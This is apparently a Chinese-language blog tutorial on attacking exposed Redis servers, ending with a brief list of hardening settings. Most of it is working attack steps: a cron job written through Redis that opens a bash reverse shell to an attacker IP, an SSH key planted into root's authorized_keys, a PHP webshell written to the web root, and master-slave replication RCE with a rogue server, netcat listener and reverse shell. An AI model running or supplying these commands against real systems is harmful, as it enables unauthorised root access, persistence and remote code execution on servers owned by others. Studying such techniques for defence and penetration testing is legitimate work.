redis攻防-ssh登录、主从复制、未授权访问、计划任务、写webshell

1.基本命令:
        查看数据库中的内容:keys * (redis数据库没有表,是大量的键值对组成的)
        添加键值对:set qiao wang(意思为键为qiao,值为wang),输入get qiao,会输出wang
        删除键值对:del qiao
    2.利用计划任务反弹shell
        以centos为例:
        set qq "\n*****bash -i >&/dev/tcp/ip地址/端口 0>&1\n"
        config set dir /var/spool/cron/
        config set dbfilename root
        save
        等待即可
    3.密钥登录ssh
        原理是:利用redis数据库将生成的ssh公钥发送到某一个用户./ssh目录下,然后直接利用ssh的私钥连接即可
        需要先登录进入redis数据库
        先在攻击机上生成一个ssh公钥和私钥
        ssh-keygen -t rsa
        然后将公钥导入到一个key文件中
        (echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > key.txt
        将key文件内容导入到redis数据库中
        cat key.txt | redis-cli -h 192.168.214.138 --pass(有密码则加,没密码不用) 123456 -x set wang
        设置路径
        config set dir /root/.ssh
        设置文件名
        config set dbfilename authorized_keys
        保存
        save
        直接使用攻击机器连接即可
        ssh -i id_rsa [email protected]
    4.写webshell
        需要事先知道网站存放路径
        config set dir /vat/www/html
        config set dbfilename shell.php
        set x ""
        save
    5.利用主从复制RCE
        主从模式,一个redis机器充当主机,可以进行写数据操作,其他的redis机器充当从机,只可以进行读操作
        受害者是从机,攻击者是主机,利用在主机中存放so文件,从机相应会存在so文件,从而达到目的
        使用redis-rogue-server工具(github上有Awsome写的)
        也可以使用代码自己去执行
        python redis_rogue_server.py -v(攻击机)
        config set dir /tmp
        config set dbfilename moudle.so
        slaveof ip port(端口是脚本启动的端口)
        module load ./moudle.so
        slaveof NO ONE(断掉主从模式)
        nc -lvvp port(攻击机)
        system.rev ip port(反弹shell接收的端口)
    6.安全设置
        1)使用其他权限较小的用户去运行redis,尽量不要使用root
        2)设置仅可以localhost127.0.0.1去访问(bind)
        3)开启保护模式(protect-mode)
        4)更换端口
        5)设置密码(requirepass)

你可能感兴趣的:(linux,网络安全,安全,web安全,bash,redis)